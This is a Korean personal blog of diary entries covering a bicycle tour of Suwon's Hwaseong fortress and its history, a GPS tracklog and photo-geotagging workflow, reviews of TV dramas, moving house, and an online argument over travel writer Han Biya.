드릴 비트 대부분이 부러져 남은 것이라고는 출력이 약한 전지식 전동 드라이버에서는 별 무쓸모인 콘트리트 비트만 남았다. 토크도 토크거니와 멀쩡한 비트가 없어 해머 드릴 기능이 있는 전동 드릴을 새로 구입했다.사은품으로 끼워주는 드릴 비트의 품질이 영 꽝이다. 그들 중 금속용 비트를 부러뜨려 먹었고 쓸모없는 콘크리트 비트의 숫자를 셋 더 늘렸다. 어쩔 수 없어 다시 드릴 비트만 주문했다. 홈 DIY 별로 안 좋아한다. -_-

9월 2일. 김씨 아저씨가 표를 줘서 디스트릭트9 시사회를 봤다. 그냥 웃겼다. 영화는 무척 웃겼는데 지나고 나니 세부를 대부분 잊어버렸다.

샌드맨을 읽었다/봤다. 닐 게이먼의 글은 좋은데 그림이 질린다. 참 정이 안가게, 재미없게 그려주신다. 일본 코믹스에 익숙해진 탓일까? 그런데 샌드맨의 그림은 잘 그린 것도 아니잖아? 유명 만화가란 것들이 왜 이렇게 개성 없는 그림질인걸까? 똥멋만 들어가지고.

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8월 29일. 홍천강에 갔지만 피라미 한 마리 낚지 못했다. 대신 싱싱한 동해산 조개와 꽁치를 배불리 먹었다. 오랫만에 닭갈비도 먹었다.

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9월 13일. 딸애를 데리고 어린이대공원에 놀러갔다. 타니까 꽤 기분좋은 스카이 리프트가 있었다.  원숭이 우리에서는 원숭이 어미가 제 자식을 학대했다. 딸애와 함께 그 꼴을 물끄러미 바라봤다. 돌아오는 지하철에서는 간단히 대꾸하면 그만인 것을, 무슨 상관이냐고 할아버지에 대드는 녀석이 있었다. 인간에 대한 기본적인 싸가지가 없는, 말하자면 나처럼 사회성이 결여된 친구였다. 그래서인지 문득 턱주가리를 한 대 시원하게 갈기고 싶었다.

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집이 비어서 오랫만에 스파게티를 만들었다. 냉장고에 남아있는 찌꺼기로 재료 구성. 바지락, 오징어, 마늘, 파프리카, 소금, 후추, 파슬리 가루.  그러고보니 최근 1-2년은 토마토 소스를 사용하지 않았다. 음식점에서 먹는 스파게티에 관심이나 흥미를 잃었다. 사진이 맛 없어 보이려나? 실제로 맛 없다. 만들어 먹는 스파게티는 재료가 검소하다. 파스타와 원재료의 흔적같은 향만 남은 단순한 맛.
 
집에 돌아와 컴퓨터 앞에서 드라마를 보다보면 졸기 일쑤였다. 졸다가 깨보면 새벽 2시나 3시 무렵. 아침 8~9시에 일어나는 의외의 생활이 이어지고 있다.

Philanhropist. 이번엔 인도 카시미르. 과부들의 땅. 어떤 이는 필란쓰로피스트가 위선적이라고 말했다. 마치 월드비전이 성금 모아서 외국에서 통전선교를 하는게 메스꺼운 것처럼. 담요 한 장 덮지 못해 얼어죽는 아이들을 위해... 그만 하자.

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Alone In the Wild. 에베레스트를 두 번이나 올라갔던 사내가 외로움에 사무쳐 서럽게 운다. 90일간 인간이 닿지 않은 숲 속에서 홀로 지내며 그 기록을 비디오로 남길 계획이었는데, 잘은 모르겠지만 50일만에 포기한 듯. 좀 더 두고 봐야 알겠지만 포기한 것은 외로움 때문이 아니라 식량 때문이지 싶다. 2화까지 봤다. 촬영 각도 때문에 혼자서 어떻게 찍었을까 의심을 사기도 하는 모양.

Fringe 2기 시작. A New Day in the Old Town. 이제 본격적인 드라마 시즌. 하지만 볼만한 드라마 대부분이 더이상 방영을 하지 않아 아쉽다.

진 마징가 Z. 비너스A의 출격. 이런 장면을 비롯한 전투씬 등에서 보이는 뛰어난 연출 때문에 아직도 보고 있다. 음악도 괜찮다.

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특히 작화가 마음에 든다. 옛날 일본 화법을 창조적으로 응용한 나가에 고의 화법을 모사 발전시켰다. 최종회를 앞두고 있다. 제목은 '로켓 펀치 백연발'

샹그리라. 여고생 지랄물이라 생각한 건 내 잘못. 무겁고 살벌한 세상살이. 많이도 죽인다. 24화로 끝났다.

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짐승의 연주자 에린. 에린은 또 자랐다.

flikr에 사진을 올리면 텍스트큐브에서 쉽게 사진을 임베딩할 수 있다. 하지만 flickr는 바보스런 수동 지도 매핑 방식을 고집했다. 그래서 여전히 사진을 파노라미오에 올렸고 트랙로그는 wikiloc.com에 올렸다. gpson.com 사이트를 만든 상오기님이 사진과 트랙로그를 결합한 것을 만들었다.

트랙로그를 mapsource로 읽어와 gdb로 저장한 다음 gpsbabel로 gdb를 gpx로 변환하고, photoworks로 사진을 일률적으로 조정한 다음 geosetter로 geocoding을 하고 panoramio에는 사진을 올리고, wikiloc에는 트랙로그를 올리는 대단히 복잡한 방식을 사용하고 있다. 무슨 장점이 있는 것도 아니고, 장인스러운 고집도 아니다. mapsource, geostter는 훌륭한 프로그램이라 해두고, panoramio나 wikiloc은 그것을 대체할 서비스가 없어 보여서다. mapsource와 gpsbabel은 gps track maker를 사용하면 그만이지만, KOTM v3 지도에서 경로를 대조해 보는 재미가 상당하다.

panoramio는 jpg의 description(comment)를 사용하지 않았다. 그래도 flickr보다는 낫다.
gpsbabel은 utf-8 엔코딩의 변환에 문제가 있다.
geosetter는 잘 생긴 프로그램이다.
picasa의 웹 앨범은 무료의 경우, 고작 1GB만 지원한다.

저번에 화성행궁을 보고 의외로 대단해서 화성을 제대로 관광하자고 마음 먹었다. 9월 6일. 때마침 아내와 아이가 어디 놀러갔다.

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화성 관광에 앞서 학습. 류철현 소장이 소장하고 있는 18세기 화성 지도를 찾아 보았다. 왼쪽 궁궐이 화성행궁, 행궁의 뒤에는 팔달산이 있고, 북쪽 상단에 장안문(북문), 남쪽 하단에 팔달문(남문)이 있다.  성곽의 윤곽이 복원되어 남아있는 곳은 팔달산부터 북쪽을 지나 동쪽아래 까지. 옛 지도에 남아있던 수원천은 현재 시 중심에서 일부분을 덮어버렸다.

화성이 유명 관광지이긴 하지만 수원을 방문한 관광객이 수원에 체류하는 시간은 평균 4시간, 그동안 쓰는 비용은 일인당 1300원 정도다. 수원시의 돈 먹는 하마라는 화성운영재단은 유네스코 지정 문화유산으로 돈벌이를 제대로 못하고 있었다. 시의원들이 까대는 핑계인 돈벌이는 그렇다치고, 화성운영재단이 별다른 일을 하지 않는 것 같아 내가 세계문화유산이 있는 도시에서 자부심을 느끼며 살아가는데 다소 지장이 있다. 그건 그렇고 화성운영재단은 매년 적자를 보고 있는 수원화성사랑채(화성행궁 옆)를 운영하는데, 사랑채의 도미토리 투숙은 1인당 1만원 꼴.

* * *

체제공은 화성 축성에 관한 행정을 총괄했고 정약용은 성설(화성의 설계도)을 지었다. 1792년 정조는 정약용에게 기초 조사 및 설계를 지시하고 1794년 1월 화성 축성을 시작하여 1796년 9월 완성했다. 정조는 규장각을 통해 서양 문물을 받아들여 청나라의 고금도서집성중 5천여권을 수입해 외국문물을 연구하도록 했다.

화성의 동쪽과 서쪽은 산을 자연적으로 이용하고 남쪽과 북쪽은 평지에 거중기를 사용해 축성했다. 그리고 도시기반 시설을 마련했는데, 만석거를 건설하고 축만제(서호)를 건설함으로써 과학영농의 중심이 되게 했다. 수원에는 지금도 농업시험소가 있다.

화성의 건축 목적은 행궁을 호위하기 위한 것이었다. 화성의 둘레는 약 5.74km, 성벽의 평균 높이는 5m 정도. 화성의 사대문은 장안문, 팔달문, 창룡문, 화서문으로 모두 옹성이 있다. 그 사이에 암문을 설치했다. 서장대는 군사 지휘소 역할을 했다.

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본격적인 수원 관광 시작. 서호의 한적한 산책로.

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서호 건너편 수원 시내.

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수원역을 지나 병점역쪽으로 가다가 수원천 자전거 도로로 빠졌다. 이게 자전거 도로일까 의심스러울 정도로 우스웠다. 개천을 덮어서 중간에 산책로가 끊겼다.

http://www.youtube.com/watch?v=fARsA3i7q8E
수원천을 따라 자전거를 몰았다.

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1번 국도를 따라 올라가다가 창룡문으로 들어섰다. 수원 화성에는 개를 데리고 다닐 수 없다. 문화재 보호 구역이라서. 문화재 보호 구역에 개를 데리고 갈 수 없다는 사실을 처음 알았다.

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성 외곽을 따라난 소로로 들어서기 전 연무대 앞.

http://www.youtube.com/watch?v=zYmwAWNGeio
성곽을 따라난 길을 달리면서 찍은 동영상

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성곽의 동쪽 끝에 있는 동남각루.

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동남각루에서 바라본 서장대 방면

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동남각루에서 수원천변으로 내려가는 길.

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거진 랜드마크 수준의 수원제일교회?

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창룡문으로 돌아오는 길에 찍은 봉돈. 성곽에 있는 유일한 봉돈으로 낮에는 연기, 밤에는 불을 사용했다.

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연무대에서 마침 열린 수원시장배 전국 궁도 대회. 표적이 먼데다 날아가는 살이 안보였다. 눈이 나빠진 것일까?

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방화수류정. 눈에 띄게 화려하고 우아하다. 여기서 수원천을 따라 남쪽으로 내려가다가 매향교를 못미쳐 왼쪽에 있는 수원 화성 박물관으로 들어갔다.


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언제 사진인지는 모르겠지만 화성이 복구되기 이전, 고운 옷을 차려입은 아줌마가 폐허 위에서 사진을 찍었다.

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정약용은 정조의 지시로 동서양의 성곽을 벤치마크하여 축성에 필요한 기구를 만들었다. 이것은 인력으로 움직이는 크레인. 어딘가 좀 어설픈 디자인인데, 어쩐지 원본을 제대로 재현한 것 같지 않다.

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축성 공사 중 돌을 쌓기에 앞서 땅을 다지는 중. 그래야 돌의 무게를 버틸 수 있으니까. 요샛말로 기초공사.

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정조는 화성 건축에 동원된 노역자들에게 임금을 지급했다 -- 일한 만큼 돈을 지불하는 성과급제를 시행했다.  어진 임금답게 경우에 따라서는 백성에게 미칠 피해를 줄이기 위해 공사 중 설계를 변경하기도 했다. 요새 공사용어로 에스컬레이션이라고 하던가? 화성의 총 공사 기간은, 계획이 10년이었으나 과학기기의 사용과 성과급제를 통한 동기부여의 덕택에 34개월로 단축할 수 있었다.

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저잣거리

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저 멀리 모내는 자리 뒷전에서 농땡이를 부리는 스님과 농사일에 도움이 안되는 관아의 파견직원을 현실감있게 묘사한 것처럼 보였다. 설마 모내기에서 속도가 안 나는 저 양반이 정조는 아니겠지?

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화성을 완성한 후 축하연을 벌이고 있다. 아.. 회갑연이던가? 헷갈리는데... 정조는 화성 축조가 성공리에 마무리되었을 때 축하연 자리에 참석하지 못했다. 옛날 중국의 삥마용을 구경하러 시안에 간 적이 있는데, 삥마용의 표정이 각기 다르다는 것을 자랑하는 것을 듣고 콧방귀를 뀐 적이 있다. 석고로 본을 뜨지 않는 이상 똑같은 얼굴을 만들기 어려울 뿐더러 수백 명의 장인이 동원된 수공예에서 어떻게 똑같은 얼굴이 나올 수 있겠나 해서. 수원화성박물관에 전시된 수백 개의 인형을 만든 솜씨나 정성이 상당했다. 물론 인형들의 얼굴 표정은 '천인천색'이다.

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화성 행궁 앞에서 벌어진 춤 공연. '수원이 자랑하는 엄친딸... 전액 장학금... 블라블라...' 화성 행궁은 전시 비상 집무와 함께 휴양과 관광을 목적으로 지었다. 화성 행궁 앞은 커다란 광장이며, 입구에는 600년 수령의 커다란 느티나무가 있다. 행궁 앞에서 자주 공연을 벌이는 것 같다.

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수원행궁 앞에서 다시 수원천을 따라 내려갔다.

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팔달문 시장 부근에서 수원천을 덮어놓아 자전거길이 일단 끝났다. 차도로 올라와 수원천 주변에 형성된 지동 시장을 비롯하여 꽤 큰 시장을 한가하게 구경했다.

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남향해서 내려왔던 수원천을 거슬러 올라가 북쪽인 화홍문으로 향했다. 여전히 자전거도로라고 부르기 민망한 보행자 도로다.

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수원천에서 바라본 화홍문(북수문). 7칸의 홍예(수문)은 한국에서 가장 아름답다고 한다. 내가 보기에도 아름답다.

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화홍문에서 바라본 수원천 상류쪽. 바람이 솔솔 불어와 낮잠 자기 딱 좋은 곳이다.

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내친 김에 수원천 상류 끝까지 따라 올라갔다. 광교공원이 나타났다. 광교산 산행로의 시작점이다. 조만간 산 타러 다시 오게 될 것이다.

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광교저수지가 수원천의 시발점. 녹조 방지를 위해 스프링쿨러를 계속 돌리는 것 같다.

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집으로 돌아오는 길에 장안문에 들렀다. 화성 중 가장 마음에 드는 성문이었다. 군사적으로나 심미적으로나.

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팔달문. 성곽의 일부를 제외한 상당히 많은 부분이 세월이 흐른 후에 '복원'된 것 같다.  아직까지 남아있는 화성성역의궤(화성 성역공사 보고서) 덕택에 화성을 복원할 수 있었다. 콘크리트를 꽤 많이 사용해 좀 안타깝게 복원했다.

이것으로 두 차례에 걸친 수원 화성 관광을 끝냈다. 날이 더워 성곽 동쪽 끝에서 팔달산 꼭대기까지 도보로 돌아다니는 것은 못 했지만 화성이 생각 이상으로 좋았다. 잘 만들었고 예쁘다.

한가하게 약 네 시간 동안 관광했다. 자전거를 타고 돌아다니기에는 길이 별로 안 좋았다. 집에 돌아와 저녁으로 7500원짜리 부어치킨과 캔맥주 두 개를 먹었다. 닭맛에 일가견이 있다고 생각하는데, 소문으로만 알던 부어치킨의 가격대 성능비가 대단하다. 7500원 짜리가 무수한 12000원 짜리 통닭보다 낫다. 이제는 닭 먹고 싶으면 무조건 부어치킨이다.


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데 포르마

잡기 2009. 9. 9. 18:52
경제 살린다고 하면 경제가 죽고
서민 살린다고 하면 서민이 죽고
4대 강 살린다 했으니 자연도 조져 놓겟네
2개의 알려진 사실로부터 3번째를 유추? 흥미로운 논리는 아니지만... 어째서 노무현과 김대중이 죽은걸까. '김대중 전대통령은 홧병으로 죽은 거야' 라고 아내에게 말하니 이명박이 전직 대통령 셋을 잡을 관상이란 말을 친구에게 들었단다. 노태우가 있었구나. 논리로선 해소할 수 없는 불가해가 일상적인 세상이 아니라서 나만 이해가 안되는 것이다.

8/8 마지막으로 북한산에 올랐다. 화창한 날씨, 넓은 시야, 기온은 33.6도. 너무 더워서 금새 지쳐버렸다. 이런 적이 있었나 싶을 정도로 더웠다. 그래서 백운대 까지 가는 것은 포기하고 산을 내려와서 시원한 콩국수를 먹고 푹 쉬었다. 북한산과의 작별인사가 그랬다.

세상의 의견이 다 존중받아야 한다는 헛소리를 존중해줄 생각이 없다. 똘레랑스가 바보스러워 보이지 않으려면 이해 관계의 본질을 파악해야 하고 다만이라도 주장의 합리적 수미일관성은 유지되어야 한다. 30년을 지켜온 어리석고 밑도 끝도 없는 똥고집을 삶의 방식이나 철학이라고 여길게 아니라. 개나 소나 맘대로 떠들어대는 것을  인정하겠다는 것도 똘레랑스로 여길 수 있을까? 그저 안면 있는 이웃으로 불가근 불가원의 관계를 원칙대로 유지하는 것이 바람직하다고 생각했다.  하지만 생각과 생활은 격이 다르고 상식은 좌우이념과 상관없다. 경우에 따라 내가 늘어놓는 고사원칙이 과부 사정 몰라주는 화냥년의 헛소리처럼 들리리라 수긍하기에 설령 내가 타인을 설득하려고 노력하지 않는다 하더라도 지극히 적은 몇몇 사람들은 그저 달관하지 못한 안타까움과 섭섭함이 남은 내 유창한 달변을 들었다.

수 년 동안 교통은 불편하지만 공기 좋은 곳에서 살아서 좋았다. 그곳에서 산 것이 내 의사는 아니었다. 여행 갔다 돌아오니 집이 움직였다. '내 의사가 아니었다'라....  불가에 '수처작주 입처개진'이란 말이 있다 -- 입 다물면 아름다워진다는 뜻.

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이사했다. 4대문을 한 번 떠나면 다시 돌아오기 힘들다는 속설이 있다. 집값이 비싸서겠지. 서울을 벗어나는데 미련이 없다. 서울에 홀홀단신으로 들어왔고 나갈 때는 처자식을 전리품처럼 챙겼다. 흡사 자수성가한 사업가가 트로피 와이프를 얻은 것처럼 보일 수도 있겠군. 전혀...

결혼 전에는 무일푼이었고 결혼 당시 재산은 월세방과 천만원 가량의 예금이 전부였다. 아내나 나나 검소한 생활에 익숙하고 애당초 돈 벌 팔자는 못 되어, 아내나 딸아이를 호강시켜주지 못해 미안하게 생각한 적은 없었다. 다만 눈치는 있어서 아내가 집이 있으면 하고 바라는 것은 알았다. 그간 집 살 기회를 두 번 놓쳤다.

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아내가 작고 낡은 집의 내장을 뜯어 고치는 일을 주관했다. 비용도 본인이 조달했다. 공사하느라 닷새 중 사흘 동안 자전거 여행 갔다. 사고가 나서 울며 겨자먹기로 돌아왔다. 여행을 하다만 것이라 기분이 별로 안 좋았다. 집을 공동명의로 해 달라고 아내가 요청했지만 무시했다. 비유가 적합하지 않으나 어떤 사람은 여자들에게 핵탄두 ICBM의 발사 스위치를 맡기는게 세계의 안전을 도모하는 길이라고 주장했다. 그 반대일 수도 있다. 여자들의 변덕과 다정함이 세상사가 복잡해진 주된 원인이라고 생각했다. 아내가 공동명의 운운하는 것은 만일을 대비한 것이렸다. 나름대로 머리 굴린다고 하지만 여자들이 각자의 생존을 위해 힘을 기울여야 할 (훌륭한) 스캠은 한설희의 마술처럼 그들을 고통스럽게 하는 남자들의 지각과 감각의 사각에서 호수가 흐르듯 눈에 띄지 않게 움직이는 것이 바람직해 보인다.

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이삿짐 정리는 먼 훗날로 미루고 주말에 집 근처의 화성행궁으로 놀러갔다. 대장금을 여기서 찍은 모양. 만한전석의 기원 때문에 대장금이 중국에서 다소 웃음꺼리가 되었다는 얘기를 들었다. 그런데 정조 시절에 만한전석이 있었을까? 대장금을 본 적이 없다. 하여튼 대장금 탓인지 일본인/중국인 관광객이 많다. 수원 화성은 사도세자의 죽음을 기리고, 효의 실천을 핑계 심아 정조 치하의 태평성세를 과시하려는 목적으로 만든 것 같다. 나중에 조사하기로.

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뙤약볕에 아이를 목마 태워 서장대에 올랐다. 아이가 가벼운 것인지 내가 돌쇠 체질인건지 모르겠다.

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연무대에서 국궁체험을 하는 시민들. 몽골식 활쏘기를 배운 어느 서양인 전승자는 17초에 10발을 쏘기도 하는데 화살을 쥐는 방법에 차이가 있는 것 같다.

아이가 '용 기차'를 타고 싶다고 해서 화성행궁에서 연무대로 향하는 행궁기차를 탔다. 도시 한복판에서 민폐를 끼치며 20분 동안 씩씩하게 달리는 훌륭한 관광열차다.

자전거 타고 돌아다니며 새 도시의 트랙로그를 만들고 OSM을 그리기 위한 절호의 기회였는데... 안타깝게도 GPS를 사무실에 놔두고 왔다. 이 도시에 애정을 갖게 될까? 도시가 영영 깨어나지 않은 생물로 남아, 가끔 뒤척이며 꿈 속에서나 변태하는 탓에 별로 공포스럽지 않은 것을 다행스럽게 여겨야 할 지도. 남녀간의 애정과 마찬가지로 도시에 애정이 생기려면 첫인상과 첫인상을 지속시키는 교류의 끄나풀이 필요할 것 같다. 하지만 한국의 거개 도시와 마찬가지로 이 도시에서 아직은 딱히 개성을 느끼지 못했다.

이사한 후로 출퇴근 시간이 짧아져 책 읽을 시간이 현저하게 줄었다. 부러 시간을 내서 책 읽는 스타일은 아니지만 인생의 여백을 활자로 채워고, 또, 책을 영혼이 이 생지옥에서 굶주리지 않기 위해 태우는 중국인의 지전처럼 활용했다. 그래서 책을 읽든 안 읽든 도서관에 일단 등록했다. 한 도서관에 가입하면 도시 내의 여덟 도서관을 자유롭게 이용할 수 있다.

XSpeed Internet + LG IPTV 결합상품을 신청하고 이전의 LG070을 묶고 거기에 LGT 까지 결합했다. 패밀리형 2인 기본료 20% 할인 (가족간 음성통화료 50% 할인) xspeed 월 이용료 20% 할인. 인터넷 3개월 무료. 29만원 다음날 지급. 여기에 제휴카드 결제까지 덧붙이면 한달에 4-5000원 정도 통신비 절약이 가능해 보인다. 과정은 귀찮고 복잡했으며 성과(통신비 절약)가 예상보다 만족스러운 편은 아니다.

싱가폴처럼 알 라 카르테를 지원하지 않는 LG의 IPTV는 라이브도 그렇지만 VOD 컨텐츠 역시 초라했다. 이전 집에서 보던 디지털 케이블의  VOD에는 못 미쳤다. 특히나 아이가 즐기는 프로그램들이 적었다. 다만 좋아진 점이라면 PC의 공유 폴더에 접근해 영화를 플레이할 수 있다는 것 정도? 코덱에 제한이 있긴 하지만.

LG에서 제공하는 게이트웨이 + LGTV 단말기(뭐라고 부르더라?) + 070 무선 게이트웨이를 사용하는데, 070 무선 게이트웨이는 스위치 모드로 작동시켜야 무선랜 접속하는 노트북이 데스크탑과 동일 클래스 네트웍에 붙는다. 이게 귀찮아서 IP 공유기 + LGTV 단말기 형태로 하고 싶은데, 그렇게 되면 LGTV 단말기의 프로그램 정보 업데이트와 펌웨어 업데이트가 되지 않는다. 어떤 프로토콜와 포트를 사용하는지 알게될 때까지는 그럴 것 같다. 시간이 지나면 해결 방법이 나올테고 그때까진 새 공유기 구입을 미뤄야 하나...

왕피천 트래킹 후 너덜너덜해진 낡은 신발을 대체할 새 신발을 샀다. 트렉스타 코브라 530. 사진과 달리 상당히 멋지다. 540을 포기하고 530을 산 것도 530이 good design 상을 받았기 때문이지 2만원 더 싸기 때문은 아니다. 수 개월을 잠복했는데 그동안 가격은 고작 5000원 밖에 떨어지지 않았다. 경기 불황이란...

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사무실. 화장실에 갔다가 한가하게 남의 집 불구경을 했다. 집에 나돌아 다니는 라이터를 모두 숨겼다. 아이가 언젠가는 라이터 불을 당겨 집을 태우며 환호작약할 것 같아서.

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사무실. 일하다가 고개를 돌리니 창밖으로 무지개가 보였다. 집을 구하느라 생활비 마저 다 떨어졌어도 희망을 버리지 말라는 지시로 알아먹었다.

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Philanthropist  -- 처음 보는 단어. 자선가, 박애주의자란 뜻. 로또 당첨금 15억을 분산 투자해 얻은 수익을 잘 굴려(아마도 전지 산업과 인도네시아 투자에 역점을 둘 것이다) 내가 억만장자가 되고 나면 그 뒤 해야 할 일을 모범적으로 보여주는 드라마. 좋다. 주인공도 멋지고, 음악도 좋고, 세계 여행도 하고. 마침 이런 기사가 나오기도 했다.

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도니 다코의 2009년판인 샘 다코. 샘은 도니의 여동생. 여전히 세상을 구하기 위해 누군가가 희생되어야할 상황. 도니 다코 보다 재미가 없다.

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Burn Notice. 점점 산으로 가는데?

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Defying Gravity. 2화까지 봤다. 2060년 무렵 태양계 탐사를 배경으로 한 망할 휴먼 드라마가 될 것 같다. 70년대 무렵에나 국가영웅이었던 우주비행사가 2060년에도 여전히 꿈의 직업 운운하는 것이 놀랍다. 아무도 안가는 우주에 처음으로 간다는 의의는 예전에는 진화상의 이득(?)을 줬겠지만 지금은 글쎄다? SF 껍데기를 쓰고 있으니 보기야 보겠지만 지금과 별반 다르지 않은 뒤처진 우주개발의 기술적 진실 탓에 첫 인상이 별로.
 
Inhabited Island Fight. 러시아 액션 SF. 영화를 무슨 TV 드라마처럼 찍는건지 클로즈업이 좀 부담스러웠다.

CG는 이렇게 그림으로 때우기도. 하지만 '그림'은 되었다.

만화같은 줄거리에 꽃미남 주인공, 보기드문 '러시아제'란 점.

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Twilight. 십대에게 먹혀 들어갈 것 같은 영화. 우연찮게 몇몇 지명이 귀에 들어와 구글 맵스로 검색해 보니 실제 존재하는 장소들이었다. 인디언 신화도 진짜였다. 오...

5불 생활자 동호회에서 활동하는 어떤 여행자가(여행자들이?) 잘난척한다고 비용 안 들이고 남미를 여행할 수 있다고 떵떵거리는 것을 참다못해 ㄷㅏ니님이(게스트 하우스 운영하는 재외교포?) 그들 글에 현지 사정을 설명하며 조목조목 반박하다가 순진한 여행자들이 한비야 같은 여행자의 허풍으로 가득한 책 따위를 읽고 굉장히 위험한 지역을 거리낌없이 돌아다니는 현실을 개탄하여 블로그를 비롯,  어떤 동호회에 남미여행의 위험성과 한비야를 비롯한 오지여행가들의 허풍에 관한 게시물을 올렸다.

반향이 상당했던 것 같다. 그래서 긴 댓글을 남겼다가 ㄷㅏ니님(이 분 필명으로 검색해 들어와 이 블로그에 귀찮은 트래픽이 유입되는 걸 막기 위해 이렇게 표기)의 글이 일으킨 플레임이 생각보다 커서 얼른 지웠다. 그 분의 글에 딱히 맞설 이유는 없지만 (여행지가 워험하다는 사실은 변치 않으니까) 각론에서 무리한 얘기가 몇몇 눈에 띄어 반론을 쓸까 하다가 한비야가 소속된 단체에서 그 분이 월드비전과 한비야에 대한 명예훼손으로 고소한다는 협박(?) 이후 플레임이 사그러 들었다.

공교롭게도 그 분과 같은 생각을 하는 재외동포를 여러 차례 만났다. 내가 만난 재외동포는 나같은 장기여행자를 한결같이 싫어했다. 타인이 날 싫어하거나 좋아한다고 기분이나 생각이 바뀌지 않는 타잎이라 비교적 건설적이고 격렬한 토론을 할 수 있었다(실은 할 일도 없고 심심하니까). 그래서 그렇게 반복되는 그들의 주장에 익숙한 반론이 있었고, 몇  번인가 반론을 적어야 한다는, 일종의 소명의식을 느꼈지만 매 번 잘 참았다. 앞으로 이걸 언급하지 말자는 생각만 토담처럼 다지고 또 다졌다.

이렇게 촉발된 파장은 월드비젼에 대한 도ㅇㅏ님의 비판으로 이어졌다. -- '통전적 선교를 통해 모 지역 인구의 90%를 개종했다는 보고가 있습니다. 통전적 선교가 더 확실한 선교라는 방증이죠.'

* '그냥 선교'를 하면 몇 %가 개종하더라, '통전적 선교'를 하면 90%가 개종하더라.
* 이 실험은 n차례 반복되었다/이 관찰은 n 차례 반복되었다.
* 그러므로 통전적 선교가 그냥 선교에 비해 더 확실한 마케팅 방식이다.

피실험 생태계의 특성과 문화인류학적 고찰을 덧붙여 타당성을 설득력 있고 실감나게 묘사했더라면 아름다웠겠지만.

그건 그렇고, 다ㄴㅣ님이 그렇게 욕을 퍼붓던 한비야가 이런 말을 한 적이 있다.

가슴이 두근거리는 일을 해라.

알아들었다. 내가 그렇게 살았는데, 올해는 이사 때문에 가슴이 두근거렸다. 항상 두근두근해서 한비야를 부러워하거나 시기한 적이 없다. 그의 글이 재미가 없어 몇 권 읽은 것도 없었다. 비단 한비야 뿐만 아니라 남의 여행기나 내 여행기나 대부분 가슴이 두근거리지 않았다. 신천지에 놀러갈 생각을 하면 두근거리는 것으로 보아 내 감수성은 선택적이다.

아내는 한비야의 글을 읽고 허파에 바람이 들어 위험하다는 곳을 겁없이 돌아다녔으며, 가려고 하는 나라 말도 모르고, 거지꼴로 구걸하듯 현지인의 친절과 그들이 주는 음료와 그들이 나눠주는 음식을 넙죽넙죽 잘 받아먹고 그들의 집에서 거리낌없이 이부자리를 펴고 누웠다. 다ㄴㅣ님 주장에 따르면, 아내같은 정신나간 여행자들의 배후에는 그들을 선동한 한비야같은 개념없는 장기 여행자들이 있었다. 한비야 같은 이들이 얼빠진 레밍떼같은 여행자들을 위험한 곳으로 내몰면서 양심의 가책조차 느끼지 않는다...는,  다ㄴㅣ님의 울부짖음이 귀에 선하다.

낄낄 웃으면서 말하건대, 나나 아내를 비롯한 대부분의 여행자들이 처음 시작할 때 그랬다.  다ㄴㅣ님 글에 토다는 것은 내키지 않는다. 언제 그의 게스트하우스에 가게 되면 술 한 잔 드리면서 얘기해야지 싶다. 거절하면 억지로라도 부어서.

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